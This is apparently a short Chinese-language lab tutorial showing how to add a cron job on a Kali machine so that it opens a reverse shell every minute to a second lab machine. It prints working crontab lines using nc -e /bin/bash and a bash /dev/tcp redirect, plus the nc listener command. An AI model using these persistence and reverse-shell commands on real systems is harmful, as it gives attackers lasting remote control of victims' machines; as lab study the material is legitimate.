小实验：Kali设置定时计划任务进行反弹shell

小实验：Kali设置定时计划任务进行反弹shell

我们进行一个简单的计划任务实验，目标就是设置一个每分钟执行反弹shell的计划任务。

靶机：Kali（192.168.1.130）

攻击机：Kali（192.168.1.133）

1、靶机设定计划任务，输入crontab -e进行计划任务的编辑。

crontab -e

* * * * * nc -e /bin/bash 192.168.1.133 6111 0<&1 2>&1      //Kali系统反弹命令(Kali这样写反弹好使，下面命令不好使)
* * * * * bash -i >& dev/tcp/192.168.1.133/6111 0>&1 2>&1   //Ubuntu、Centos等系统反弹命令

2、攻击机（192.168.1.133）的6111端口起监听

nc -lvp 6111

等一分钟后，反弹

尝试输入一些命令，成功执行

3、实验成功。